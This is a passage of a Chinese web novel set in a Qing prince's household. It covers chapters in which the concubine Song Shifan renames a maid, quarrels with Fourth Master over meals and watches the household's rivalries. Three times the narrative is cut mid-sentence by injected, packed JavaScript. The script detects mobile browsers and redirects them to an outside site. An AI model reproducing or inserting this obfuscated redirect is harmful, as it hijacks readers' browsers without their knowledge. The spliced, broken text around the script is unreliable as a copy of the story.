竹香见氛围刚好,便也跟着凑趣:“那是格格您人好,否则奴才们不敢在您面前这么松快的。” 白薇这会儿见着竹香却是想起了什么:“光叫格格您打岔了,正经事奴才倒忘了说。” 宋时繁有些讶然:“新来的人都见过了,大格格那边也好好的,我这会也不能出门,还有什么正经事?” 21. 饿鬼套餐 白薇敛容开口:“格格,竹香的名字怕是不能用了...” 说罢还看了竹香一眼,然后才继续道:“竹香的名字和福晋带来的四个陪嫁大丫鬟的名字冲撞了,从前竹香在洒扫上做事,没人追究什么,如今既然您打算将竹香带在身边了,终归还是有些不好...” 宋时繁闻言沉默了下来,屋子里的气氛一时间僵住了。 还是竹香揣度了一会儿,率先开口道:“奴才这个名字是奴才的娘随意取得,原是因为将奴才生在了一片竹林里,奴才的娘没文化,就地给奴才取了竹香这么个名字,若是格格您能给奴才改个好名字,怕是奴才的娘做梦都要笑醒了呢。” 宋时繁勉强扯了扯嘴角:“再怎么说也是你亲娘给你取得名字呢...” 竹香有些怔愣:“格格,这...只是一件小事呀,奴才们的名字自然该让主子叫得舒心才是,格格很不必如此的,您若是愿意给奴才改个名字才是给奴才的恩典呢!” 白薇在一旁没说话,她这会子倒是有一些理解自家格格,刚刚那两个小丫头的名字本就是府上嬷嬷随意取得,也并不是为着什么而改的,所以自家格格改得很顺畅,这会子因为冲撞了福晋身边的人就要改竹香的名字,自家格格怕是心里头又别扭了。 哎自从生完大格格以后,自家格格时不时都要别扭一下,一些想法怎么都不愿意转过这个弯儿来,否则昨日也不会跟四爷争执起来,也不知道是怎么了,白薇在心里默默思索道,可奇怪的是,白薇并不反感宋时繁如今的变化。 而此时歪在床榻上的宋时繁也确实是这样想的。 她还真就不明白了,这一个皇子府上都忌讳来忌讳去的,说话要避讳,连取名字都要避讳,难不成这样就能显出人格外尊贵来? 幸好四爷府上人员不算多,否则照这个避讳法,以后四爷府上的人直接按照编号叫得了! 想到这里宋时繁有些气闷,但最终还是叹了口气,开口对竹香说:“既如此,就把名字改了吧,否则日后被有心人听去,旁人就算不拿我怎么样,却会连累你也跟着受罪,咱们的福晋又是个重规矩的,不如改了好...” 竹香见宋时繁面色还是有些沉郁,便凑上前调笑道:“那格格可得赐奴才一个好听的名字,回头奴才说给奴才的娘听,叫奴才的娘也羞上一羞。” 竹香如此下力气地逗她,宋时繁不忍让竹香一片好意付诸东流,于是她的脸上也荡出些笑意来:“那你娘到时候若是嫌我取得名字不好听你可就别告诉我了,否则我也是要羞的。” 三人又笑开了,宋时繁抚了抚嘴角,又思索了片刻才开口道:“那便改成竹苓吧。” 竹苓忙应下,还对着宋时繁行了一礼:“哎,好,那奴才以后就是竹苓了,竹苓给格格请安了!” 宋时繁笑骂她:“你倒会卖乖,难不成还想从我这讨点银子不成?哎呀呀,我可没东西给你了...” 竹苓笑着起身:“格格给的已经够多了,再多奴才该不敢要了,对了,格格昨夜到现在几乎都没吃什么吧?现下可有什么想吃的?” 宋时繁闻言还真觉得饿了:“方才不说倒是没什么感觉,这会子经你一提真是有些饿了,白薇,你带着石桥他们去膳房拿些吃的来吧。” 此时的白薇一拍脑袋道:“是了,奴才真该死,都忘记格格还没用膳,不过于太医昨个儿吩咐了,他说格格醒来也不能多吃的,喝点汤汤水水最多了...” 白薇话还没说完,宋时繁就懊恼道:“不是吧!那我岂不是又要饿肚子了?苍天呀,你是铁了心要我做一个饿死鬼吗?!难不成我上辈子吃得太多了?” 彼时,宋时繁正在捶胸顿足,一旁的白薇恨不得上去捂住宋时繁的嘴,只听她焦急喊道:“格格!您还在病中呢,什么死啊鬼的!您可真是!” 宋时繁往床榻上一摊:“我不管,我就说,若是白薇你不让我吃饱饭我就天天说...”没成想宋时繁竟直接就地躺下开始耍赖。 白薇看着眼前正犹如三岁小儿般胡闹的宋时繁有些无奈,深吸一口气才勉强控制住自己:“格格,这些都是太医吩咐下来的,等您病好了想吃什么没有啊?您先...” 宋时繁不愿意听,仍是在喊:“哪有不让病人吃饭这样的道理,我看这太医也是个庸医来的!” 白薇跟竹苓拿宋时繁没办法,在一旁急得团团转。 恰在此时,门外突然传来四爷的声音:“说谁庸医呢?太医院里的太医们可都是经过层层筛选才能进宫里当差的,怎么到了你的嘴里竟这样不堪了?” 霎时间,宋时繁就哑火了。 竹苓和白薇二人忙上前给四爷请安:“给主子爷请安,主子爷吉祥!” 而宋时繁借着被子的遮挡,悄悄露出一只圆溜溜的眼睛往门外瞧,就见四爷正信步朝里走来,宋时繁瞬间将被子拉过头顶,把自己严严实实遮了起来。 四爷走到近前就看见个藏在被子里的小鹌鹑,顿时感到有些哭笑不得,怎么这小格格连生病都有这么多花样呢? “爷来了还不出来迎接?这样藏着做什么呢?”四爷有些好笑地开口。 宋时繁...宋时繁才不出来呢。 怎么每次她口出狂言的时候都能被这个四爷给撞见! 要不是这里是古代,宋时繁都要怀疑她的身上被安装了什么窃听器,只要一检索到她胡说八道,四爷这个雷达马上就能感应到。 相比较直接把头伸出去挨训,她还是老老实实躲在被子里装死好了,看不见她总不能骂她了吧,料想四爷也不会跟她一个病人计较的,嘿嘿。 四爷等了一会儿见宋时繁还不肯从被子里出来,便将目光投向了旁边伺候宋时繁的两个丫鬟。 其中白薇四爷是认识的,毕竟昨夜就是这个大胆的丫头求到了他的面前。 于是四爷对着白薇询问道:“你们主子这是怎么了?” 白薇不知道怎么张口解释,难不成说自家格格怀疑太医嘱咐的清淡饮食是要饿死她,那岂不是直接告诉四爷,自家格格是个嘴馋的,这个形象可不好。 但四爷发话了,白薇也不能不回答。 最终,白薇硬着头皮期期艾艾开口道:“回主子爷的话,格格...格格昏了一夜,这才刚醒过来...嗯...是奴才们疏忽了,忘记去提膳,差点饿着了格格,刚才格格是饿得难受才...” 没办法,白薇不能暴露自家格格,只能将责任全揽在自己头上了。 好在四爷没有深究,他听见宋时繁已经饿得难受了,一时间也想不了那么多了,忙厉声道:“那还不快去膳房叫膳,回头你们格格饿出个好歹来,看爷怎么收拾你们!” 白薇忙点头应是,就准备抬腿往膳房跑,四爷又发话了。 “等等,你们格格刚醒,不能吃太多,就叫些清粥来,病中的人得饿上一饿才好...” 不等四爷把话说完,宋时繁已经从被子里钻了出来,开玩笑,再不出来争取一下,由着这帮子清朝人给自己安排病号饭,她迟早得饿死在病床上好吧! “不行,不可以!绝对不行!”宋时繁一脸决绝对着四爷道,知道的是宋时繁在争取伙食标准,不知道的还以为宋时繁要上战场呢。 四爷都被宋时繁突然激 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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四爷见宋时繁实在坚持,又觉得老这么僵持着也不是办法,终于还是投降道:“行吧,你想吃什么告诉你的奴才,叫膳房给你弄来就是了,真是拿你没办法,怎么都做了额娘还像个孩子一样任性呢?” 那是因为你们这边做额娘的岁数实在太小,她本来就是孩子嘛,宋时繁在心中默默吐槽了四爷一句。 不过宋时繁考虑到四爷还算通情达理,准许她多吃点儿东西,她暂时就不跟四爷计较了,哎,没办法,她就是这样一位大度的人呢。 而且这时候的宋时繁也顾不上跟四爷继续掰扯下去,因为她正忙着跟白薇点菜呢。 白薇听着宋时繁报出来的一个又一个菜名,脸上不禁露出些犹疑的神色。 四爷见状忙叫停:“差不多得了,若是没个分寸,吃坏了身体怎么行?” 宋时繁撇了撇嘴,叫白薇去了。 白薇临走之前,四爷犹不放心,又嘱咐一句:“每道菜的份量减半吧。”白薇应下后这才匆匆离去。 膳房那边一早就听说四爷去了宋格格屋里,所以白薇带着石桥来点膳的时候,一个个都殷勤的很。 没多会儿,白薇就回来了,除了石桥手里抱着的食盒,白薇的身后还跟着两个膳房的小太监,帮着提食盒。 竹苓忙上前和白薇一起布膳,等膳食摆好的时候,宋时繁已经迫不及待坐上了饭桌。 不过一打眼,宋时繁的脸就垮了下来。 什么呀,说是让她随便点,虽说每道她点的菜都上来了,可这份量也太少了吧? 瞧这灌汤包,只有四个,肉沫烧饼也只有两个,罗汉大虾只有平时一半不到的份量,还有盐渍鸡架,也是寥寥无几,其他的菜也是一样,只占了盘子小小的部分,看着都可怜。 这简直就是一份饿鬼套餐,看来四爷纯纯是想把她给饿死。 而另一边的四爷见这一桌子基本都是荤菜,也有些懵。 按理说病人的胃口合该不好才是,想吃得应该都是些清淡的东西,怎么这宋氏点了一桌子荤菜,瞧着还很不满意的样子呢? 四爷不理解却大为震惊。 22. 没眼力见的四爷 宋时繁确实不满意眼前的饭菜,就这些只够她自己塞牙缝的份量,还得加上一个四爷,两个人吃的话怎么看都不够。 不过,这会子是半下午,已经过了正常人吃午膳的点儿了,按理来说四爷这个时候应该是已经吃过了吧。 再说了,她这几乎没什么油水的病号餐,四爷也许根本就不稀罕吃呢。 可是四爷就在那儿,又不好跟他不招呼一声直接吃,显得不礼貌...而且四爷没开口提要走的事,她也不可能直接赶四爷走不是? 宋时繁在心里默默盘算着到底该怎么办。 四爷见宋时繁愣在那里不动筷子,以为她没胃口,便关怀性地问了一句:“怎么还不动筷?是不是菜式太油腻了?没胃口?若不然还是让她们去给你换成清淡点儿的菜如何?” 宋时繁回过神来,决定还是跟四爷客套一下先,毕竟人在屋檐下不得不低头嘛。 于是,宋时繁冲着四爷扬起一个大大的笑脸:“不用麻烦了,这些挺好的,只是...四爷,您要不要一起吃点儿?不过,我这里的饮食不一定能合四爷您的口味就是了,而且这会子也不是午膳的点儿了,四爷您应该不饿吧...” 说完以后宋时繁对自己十分满意,因为她觉得自己这番话说得真是相当有水平了,既委婉表达了自己的观点,又不会让四爷太过难堪,嗯,真不错。 奈何,四爷完全理解错方向了。 四爷瞧着宋时繁可怜巴巴地望着他,还以为宋时繁是想叫他留下来一起用膳,却又不好意思明着求他,这才作出一副可怜样来。 其实宋时繁想得没错,四爷这会子根本不饿,毕竟才吃了午膳呢,而且他又不是小孩子,午后还得吃个点心什么的填填肚子。 再说了,四爷虽然年轻,却一向比较注重保养自身,虽然不讲究过午不食,但就算到了晚上,四爷吃得也很少,否则夜里积食了,人也不好受。 不过现下宋时繁眼巴巴地看着四爷呢,四爷又觉得有些不忍心了。 宋格格应该很想他能留下陪着一块用膳吧,是呢,宋格格还病着,这会子最需要的就是旁人的关怀了,父母亲人不在身边,她自己病着也不能去见大格格,可不就想他这个做爷的能陪陪她嘛? 而且小格格这样是不是在跟自己变相求和好呢? 也是,昨日里两人才闹了一场,这宋格格还被他给狠狠罚了一通,这会子她肯定是知道自己错了,又拉不下脸来跟爷认错,所以今天又看见爷,才会说这么多软和话呢。 罢了,既如此,还是给宋格格一个台阶下吧,谁叫爷大度呢,大人不记小人过嘛,四爷在心里默默思索着,殊不知他的想法已经全然跑偏了。 所以,当四爷大手一挥决定留下来陪着宋时繁用膳的时候,宋时繁的表情险些绷不住,差点当场龟裂。 “四爷...您...您是说...要留下来...是吗?”宋时繁急得有些结巴了,这个四爷怎么听不懂旁人的画外音呢。 四爷想得却是,瞧瞧,一听说爷要留下,宋格格都快激动地说不出话来了,看来自己决定留下来还真是一个英明之举啊,宋格格这会肯定在心里偷着乐呢。 “偷着乐”的宋时繁见四爷已经老神在在地坐到饭桌前了,知道事情已成定局,只得认命抓起筷子。 不过,跟四爷同桌吃饭的规矩有哪些来着? 好像是说四爷动了筷子她才能动,还不能将盘子吃空,也不能比四爷吃得慢之类的...貌似还有很多,怎么她都记不起来了呢? 明明上次差点惹怒四爷以后,白薇给她科普了很多关于和四爷一同用膳时候的规矩,亏她当时还觉得自己记住了,这会子事到临头了想抱佛脚都抱不着。 哎呀真该死,就说不想跟四爷这个祖宗一起吃饭嘛,也不知道他为什么一点儿眼力见都没有。 宋时繁一边在脑海里抓耳挠腮地回忆着白薇之前说过的细节,一边偷偷观察着四爷的表情,生怕自己又错了什么规矩,再被四爷拿住把柄。 这一幕落在四爷眼里就是:宋格格紧张又娇怯怯的看着他。 哎,看来昨日真将她给吓坏了,宋氏本就胆小,事后又病了这一场,可不是要被唬住,不过难不成他是什么喜怒无常的爷吗?宋氏为什么这么害怕?四爷表示有些无奈。 想到这里,四爷吩咐苏培盛给宋时繁盛了一小碗鱼片汤。 “先喝点汤吧,你肚子空了这么久,也不能急着吃东西。”说完,四爷又怕宋时繁仍是感到拘谨,还率先夹了一片冬笋放进嘴里。 宋时繁见四爷先动了筷,料想她自己应该可以开动了,加上四爷刚刚也吩咐了一句,她便端起面前的小碗三两口将汤喝了下去, 站在一旁伺候着主子的白薇以及竹苓见宋时繁这样,差点当场捂脸遁逃,格格呀,这又不是喝药,您急个什么劲呢,干嘛喝这么快呀,在主子爷面前可不兴这样啊! 可惜宋时繁没能听见她们二人的心声,把汤喝了个精光以后,宋时繁又对着四爷问道:“现在可以吃菜了吗?” 而坐在宋时繁对面的四爷还震惊在自家小格格豪迈的喝汤方式里,就又听见宋时繁问了这么一句,四爷下意识便接道:“可以。” 宋时繁想得简单,既然她记不住那些规矩,就只能靠嘴问了,反正只要四爷允准了,自己干什么应该都没问题吧,想通以后她便放下心大快朵颐起来。 她也不客气,先向自己馋了好久的盐渍鸡架下了手,呜呜呜,昨夜饿着肚子晕了一夜,一醒来又被白薇灌了一大碗苦药汁子,这会儿她的嘴里一丁点儿味道都没有,感谢盐渍鸡架让她找回了味觉。 古人真诚不欺我,确实是一顿不吃饿得慌呀,这会子饿极了的宋时繁完全不存在病中没胃口这回事,把每一道菜都吃得特别香。 一旁的四爷见状,本来只打算陪着宋时繁坐一会,算是给宋时繁留足了面子,现下也被宋时繁的吃相勾起了兴致,跟在她后面下起筷子来。 还真别说,虽说都是府里膳房做出来的饭菜,也是从前吃惯了的口味,但今天四爷尝着就是比平常可口些,也不知道是不是眼前人吃得太香的缘故。 一餐饭罢,宋时繁有个七八分饱了,不过面前的盘子几乎吃差不多了,若是真吃光了确实不好看,这毕竟是在清朝,她又身处皇子府中,可不是讲究光盘行动的时候。 而且宋时繁琢磨着现如今才是下午,等到了晚膳的时候,她还能再吃一顿呢,于是就没继续纠结下去了。 四爷吃了个半饱,但对于四爷来说倒是有些多了,因为他向来不会在两餐之间加餐,就更不用说他还吃了这么多。 不过看着眼前宋时繁吃得一副餍足模样,四爷又觉得偶尔陪着她任性一次好像也无妨。 于是四爷喊来苏培盛:“今日膳房伺候得不错,你去,赏他们。” 苏培盛忙应下,转身出了宋时繁的院子,风风火火朝着膳房走去。 路上苏培盛还在心里思索着,这已经是主子爷最近几日第二次赏赐膳房了吧,唉哟,两次可都是因为宋格格呢,府里的风向怕是要变了呢,这宋格格也真是能耐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13045519|137497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,竟这么不声不响地就叫主子爷看在眼里了。 这头的屋里,宋时繁和四爷已经喝上了茶。 经过这顿饭,两人之前吵架的风波好像就这么无声无息地过去了,又恢复到刚开始和谐的相处方式,二人之间像是糊了层浆糊维护着表面的和平。 不过,叫宋时繁来说,能维持着面上的平静,未尝不是一件好事,否则她一个漂泊在异世的人,又能怎么办呢? 当然有些事情在她的心里是绝对不可能妥协的,比如她会把四爷当作是自己上司,却绝不会当成是依靠。 她这种孤魂野鬼,一旦觉得有了依靠,那等待她的就只有死路一条,不是吗? 想到这里,宋时繁的嘴角扯出一个笑来,四爷只当她想起了什么高兴的事,随口问了一句:“想什么呢?” 宋时繁闻言又朝着四爷温柔笑了笑,才缓缓开口道:“想着快过年了,新的一年就要来了,日子也有盼头,不是很好吗?” “你盼着过年?年节里忙得很,爷倒不觉得有什么趣儿呢,你从前都是怎么过年的?”四爷抿了一口茶,接话道。 而宋时繁却因为四爷的这句话陷入到回忆里。 直到过了好一会儿,她才开口:“从前我也不认为过年有什么好玩的,总觉得无非是那些活动,白日里走街串巷地拜年,到了晚间,还要帮着我妈...额娘她们做年夜饭,吃过饭小孩子们就可以去放鞭炮,然后一家人坐在一起守岁...” 宋时繁说不下去了,这些平常的事对于现在的她来说恍如隔世,不,确切地说,就是隔了一辈子,光想想就觉得遥不可及。 面对宋时繁突然的沉默,四爷有些措手不及,但他看着宋时繁的脸,无端觉得此时的宋时繁虽然就在自己眼前,但实际上仿佛离他很遥远的样子。 这种感觉太难受了,四爷不愿意再继续体会下去,于是四爷开口道:“看来从前你在家中与父母亲人的感情颇好,不过如今咱们也有了大格格,等大格格再大一点儿就能陪着你守岁了,你若愿意,等今年过年的时候也是可以在花园里放放烟花的...” 说到这里,四爷有些语塞。 因为不管他给宋时繁安排什么样的活动,都只能她一个人,最多有奴才们陪着,按例,过年的时候他必须要和福晋一起进宫给皇阿玛和额娘拜年,就是到了夜里,他也得陪着福晋才行...这都是历来的规矩了。 好在宋时繁没有太沉湎进情绪当中,反而笑着对四爷道:“多谢四爷体贴,我只是一时想起了从前和父母相伴在一起的时光,突然有些感怀罢了,四爷您说的对,有大格格陪着我呢,我高兴还来不及。” 虽然四爷感觉到了宋时繁的言不由衷,但总归宋时繁身上那种可望而不可即之感已经消散大半,四爷也略略放下心来,不再纠结此事。 不过既然聊起了大格格,四爷便问:“你今日还没见着大格格吧?” 宋时繁想到女儿也有点儿担心,冲四爷摇了摇头道:“没呢,我身上有病毒,不敢去见她。” 四爷对宋时繁突然冒出来的词汇有些一知半解,病毒?倒也是,既是病,也可以叫毒嘛,宋氏这样说也不算错。 “你要实在担心就唤了奶娘在门外跟你说说大格格的情况,不过,病好之前还是别见得好。”四爷怕宋时繁忍不住对女儿的思念,又叮嘱了一遍。 “我省得,四爷放心,病没好全我也不敢去西厢的。” 宋时繁话音刚落,就听苏培盛在外喊道:“主子爷,福晋派人来请,说是有事找您商量呢。” 23. 也是辛苦 宋时繁闻言倒是没有什么反应,毕竟她自己正病着,想也知道四爷今晚是不会留宿在她这里的。 而且若觉得福晋是为了争宠,就急吼吼来请人,那未免太小瞧福晋了,好歹福晋也是世家贵女,从小精心教养出来的,宋时繁觉得她应该干不出这样的蠢事来。 所以宋时繁十分无所谓,只当福晋是真的有事要找四爷,当即便作出一副恭送的态度来:“那就先不打扰四爷了,四爷您请吧。” 反倒是四爷见状有些不高兴了。 本来嘛,若是此时,宋时繁表现出不情愿的话,四爷还觉得正常,毕竟都是他后院里的女人,偶尔争风吃醋很正常,也是一种情趣,他不会因为这个生气的。 可现下,宋时繁的脸上却是一副理所当然的模样,这就让四爷有些摸不着头脑了。 莫非宋氏真地一点儿也不在乎他晚上要去哪儿? 如今虽说女子就应该这样贤良淑德,但四爷私心里觉得那是正妻应该做到的事,宋氏一个小格格为何也表现得如此大度?好像迫不及待要赶他走似的,除非她根本不在乎。 可这可能吗?爷的女人怎么可能不在乎爷,孩子都给他生了,心里能没他吗?肯定是他想多了... 但四爷看着宋时繁恬淡的脸庞,又听她正温温柔柔地送自己走,便控制不住地想要往这个方向去思考。 一想到真有这么个可能性,四爷的心里又觉得变扭了,所以他面上就带出些不悦的神色来。 最终,四爷朝着宋时繁冷哼了一声后,没留下一句话就大步踏出了房门。 转过身的时候,四爷还将衣摆甩得飞起,就差直接扬到宋时繁的脸上了。 留下宋时繁一个人在风中凌乱。 这人怎么上一秒还好好的,下一秒就突然变脸了? 都说女人心海底针,依她看来,四爷的心才是海底针...不,是海底沙! “这人指定是有点儿毛病的...”宋时繁一脸无辜地对着白薇和竹苓道。 二人差点被宋时繁的话给吓死,白薇快速朝门口瞄了一眼,好在屋外已经没有四爷的身影了,白薇这才松了一口气,但转头看见宋时繁的时候又有些无奈。 “格格您又乱说话了!” 宋时繁朝白薇吐了吐舌头,“嘿嘿,下次不会了嘛,白薇我能不能出去转转呀?这会太阳好好哦,我想出去晒一晒。”宋时繁想得简单,多晒太阳能提高抵抗力嘛,说不定晒透了,她的病也就好了。 白薇闻言有些犹豫,“可格格您刚醒呢,而且于太医说您还是要多休息休息才是...” 倒是竹苓见宋时繁面上仿佛有些失望之色,想了想道:“格格若真想出去,不如奴才找人将贵妃榻给您搬到院子里去,格格您再多穿点,到榻上坐一会可好,就别走动了,白薇姐姐您说这样如何?” 白薇笑着点了点头:“到底是竹苓你想得周到些。” “白薇姐姐哪里话,姐姐您是太紧张格格了,那奴才先去叫石桥他们过来吧。” 竹苓走后,白薇又找出一件厚披风给宋时繁披上,是那种能严严实实裹住宋时繁的大毛披风,直将宋时繁打扮成了个白面馒头才算完。 如此,等石桥和曹三宝他们将贵妃榻在院子里安置好的时候,宋时繁几乎是圆溜溜地团在榻上。 犹是如此,白薇仍不放心,又帮着石桥他们一起将屋里的火盆子抬了一个出来,放到了宋时繁的边上。 等全部收拾妥当,宋时繁已经晒着太阳眯着了。 和宋时繁院子里的悠闲截然不同,府里另一边,正盼着四爷来的福晋心中很是有些焦急。 其实福晋也是被最近一桩又一桩的事给冲昏了头。 福晋才刚入府,按理应该稳扎稳打才对,可她入府没多久就来了两个如花似玉的新格格,其中武格格身份还颇高,根本不容小觑。 而最早跟着四爷的宋氏也顺利产下一个格格,虽说只是个女儿,但也勾得四爷时常去看望,这一来二去的,宋氏在府里也隐隐不一样起来。 一直得宠的李氏又在这个当头怀孕了,要是让她先生下一个庶长子来,那她这个嫡福晋的面子往哪儿隔? 所以近来她行事确实有些浮躁了。 昨夜里宋时繁生病,福晋本想着拖到第二天再请太大夫,多少晾一晾宋氏,别叫她以为生了个孩子就心大了,谁知道竟让主子爷知道了此时,还漏夜前往,又是请太医又是陪着的,活活折腾了一个晚上。 福晋早起知道此事的时候,气得直接摔了一套茶具。 后来听说宋时繁醒了,她这才派吴嬷嬷去瞧了瞧,还罚宋时繁抄了经书,好歹算找回点她这个嫡福晋的颜面。 没成想,吴嬷嬷前脚刚走,四爷又去了,这都什么事儿啊! 且不说别的,就宋氏那个蔫坏的样子,这还不得跟主子爷告状?福晋恨得差点又摔碎一套茶盅。 不过福晋这倒还真是冤枉宋时繁了。 宋时繁表示她压根没有起什么告状的念头,毕竟在宋时繁的认知里,四爷和福晋两个都是一头的,只有合起伙来欺负她的份儿,她才没那么傻跟敌人告状呢! 但福晋却不知道宋时繁的心声,又气又怕的,便出了个昏招,直接让人去将主子爷给请过来了。 其实奴才们刚去请四爷的时候,她就有些后悔了,这不是明摆着在跟妾室们争宠吗?这哪里是嫡福晋能干出来的事?说出去没得叫人笑话。 可人已经请来了,这会子也不好反悔,总不能告诉四爷不用来了吧? 所以福晋只好一边等着四爷,一边寄希望于四爷多少能顾及着点她正室的颜面,不至于让她太过难堪。 好在四爷进正院的时候脸色还算正常,并没有显示出多少生气来。 其实,四爷原本是生着宋时繁的气呢,可一路上他仔细想了想又觉得这怒火来得毫无缘由,他堂堂一个皇阿哥竟在乎起个小格格来?不值当的。 于是等走到正院的时候,四爷的心情已经平复下来了。 至于福晋,四爷其实和宋时繁想得差不多,福晋到底是大家出生,在四爷的概念里,福晋是不会干出那种拈酸吃醋的矫情事来的,福晋的身份也不允许她这样,所以四爷压根没往福晋争宠的地步去想。 倒是福晋见四爷面色与平常无异,便略略放下心来,不过她毕竟做了错事,仍是有些心虚,于是行动间就带了些小心翼翼在身上,连带着给四爷请安的声音都较之往常轻巧了不少。 “给爷请安,爷吉祥。” 四爷无可无不可地叫了起:“福晋不必多礼。” “芸香,快斟茶,爷您先坐。”福晋脸上挂着笑,态度十分殷勤。 说起来,她也确实思念四爷了,这几日四爷不是去看武格格就是歇在李氏那里,她已经上好几日都没有见过四爷,可恨那个李氏,怀了孕还要霸着四爷,真是个不要脸的狐狸精。 四爷显然也感受到了福晋的热情,便温言安慰了一句:“福晋别忙了,你我夫妻之间不必客气,找爷来有什么事?福晋直说便是。” 四爷这话将福晋给问住了。 她本来只是找个借口喊四爷过来而已,还真是没什么事,之前光顾着紧张了,现下四爷问起来还真将福晋给问蒙住了。 一时间,福晋没接上话来,这一停顿,就叫四爷看出些端倪来。 四爷当然看到福晋语塞了,脑子里一转便明白福晋大约没什么事找他,想到这里四爷倒起了真火。 莫非福晋是个面上聪慧内里糊涂的不成?刚大婚的时候他瞧着福晋还算贤惠懂事,怎么才不到一年的光景就这样了? 不期然的,四爷又想到了福晋联合着宋氏想下李氏面子的事,再一联想到之后引发出来的桩桩件件,四爷脸色沉了下去。 福晋见四爷变了脸,心里暗道不好,情急之下开口对四 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13045520|137497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爷道:“奴才是想问问过年时候的安排...” 四爷在心里忍了又忍,终究还是不想给福晋难堪:“不是一早就预备好了,到时候你跟着爷入宫,进宫以后你就去额娘那里,陪额娘说说话,爷要去乾清宫请安,现下咱们府上也没有孩子需要你带着,你只管去跟着额娘就是了。” 福晋喏喏应是,又憋出一句来:“那府上怎么安排,按理说奴才今年新入府,府里也该热闹些才是。” 这倒确实问在点子上了,四爷想了想道:“既如此就等宫里宴会结束了,在延庆阁摆上一桌,咱们府上人员不算多,凑一块热闹热闹便罢了。” 福晋又想起之前吴嬷嬷让她举荐侍妾的事情,狠了狠心大着胆子对四爷提道:“爷安排得很妥当,只是奴才私心里还想着府上的三个侍妾,她们到底也伺候过您,不若那天叫上她们一起...” 四爷闻言更生气了,这是做什么呢?当他是什么色令智昏的人不成?福晋还真是昏了头,这是瞧着李氏有孕就着急了? 此时的四爷对福晋越发不满,只丢下一句:“这种小事福晋自己看着办吧。”说罢便转身出了正屋。 按理来说,四爷既然去了正院,就算不留宿,好歹也是要留下用膳的,如今这么黑不提白不提的就走了,倒真给福晋了个没脸,可见四爷是气狠了。 福晋的陪嫁嬷嬷吴嬷嬷见四爷怒气冲冲地拂袖而去,忙走到福晋跟前,只见福晋瘫坐在圈椅上只管捂着嘴落泪。 “福晋快别这样,嬷嬷要心疼坏了,这是怎么了?” “嬷嬷,我听你的跟四爷提了提侍妾们的事,没成想...”福晋几乎泣不成声。 “唉哟福晋啊,这事您怎么能直接跟主子爷说呢?回头私下找了机会送过去就是,这当面提出来可不是叫四爷发火的?您别忘了,四爷到底是爷呢!” 福晋哭着摇头,其实她心里也明白,这种事男人不愿意放到明面上来,毕竟好色可不是个好名声。 可她刚刚也不知为什么鬼迷心窍了,偏就是要说出来,也许,是想叫四爷拒绝吧,若是四爷拒绝了,是不是她就不用干这种往自己丈夫床上塞女人的事情来了... 另一边,四爷前脚刚迈出正院,后脚就迎面撞见李氏身边的奴才高明海,说是李格格不舒服想叫四爷去瞧瞧。 这李格格也是倒霉,本想截福晋的胡,好报一报福晋之前恶心她的仇,没成想正好撞到了四爷的枪口上。 气不打一处来的四爷对苏培盛撂下了一句话:“你去,带着他去给李氏请个大夫,务必要将李氏的不舒服给看明白了!” 说罢,四爷独自一人回了前院。 只留下苏培盛对着高明海不阴不阳道:“咱们走吧,李格格这病可耽误不得呢。”高明海则跟在后面不住弯腰赔笑脸, 事传到宋时繁院子里的时候,宋时繁已经睡一觉醒了,正指挥着石桥和赖世兴将东西往屋子里搬。 彼时,曹三宝鬼鬼祟祟从院子外面进来,凑到了宋时繁边上。 “格格,今天外头有桩新鲜事呢,您想不想听?”曹三宝朝着宋时繁挤眉弄眼。 “你个三宝子,少卖关子,有什么事快说!”宋时繁被曹三宝的表情逗得直乐。 曹三宝“嘿嘿”一笑:“方才福晋将主子爷从咱们这请走,却不知怎得惹了主子爷生气,回来主子爷刚出正院,李格格那边的高明海又去请,叫主子爷好一顿骂呢,最后主子爷自己回了前院,哪儿都没去。” 宋时繁不知道自己睡了一觉竟然发生这么多事,还真是有趣,而且短短几个时辰,四爷就跟旅游打卡似的,从这个院子跑到那个院子,不得不说,也是辛苦。 想到这里,宋时繁“噗嗤”一声笑了出来,奴才们不知道她在笑什么,还只当主子爷没留在正院里,自家格格高兴。 当然,宋时繁不会告诉他们,自己又想到了关于她觉得四爷是一只种猪这件事。 24. 过年(上) 这几天宋时繁都老老实实待在自己的小院子里养病,既不用日日早起去给福晋请安,也不用去给四爷侍寝,日子不要过得太舒坦。 除了见不着大格格这一点有些令人烦躁,其他因为生病附带的福利宋时繁还是很满意的。 不过宋时繁也悠闲不了两天了,因为到今日已经是年二十九了,明儿就是除夕。 到时候府里两位正主连着好几天都得进宫拜年,当然啦,她们这些小鱼小虾也不能闲着就是了,不过总归比要进宫的人好一点儿,也就明日府上有家宴可能会忙些。 明日中午,膳房会给每位格格安排一桌菜,算是个小宴,就在自己屋里吃就行,这倒没什么。 可晚间,她们这些格格要去二门那里等着迎接四爷和福晋从宫里回来,这之后众人还要一起去延庆阁参宴,算是府里的庆祝活动。 不去不行,宋时繁这病也养了好几天了,昨日四爷还叫太医来了一趟,说是已经无大碍了,显然,她连请病假的机会也无了。 一想到要去跟别人虚与委蛇,还得表现妻妾和睦,宋时繁脑仁子就“嗡嗡”地疼,整个人都蔫在那边了。 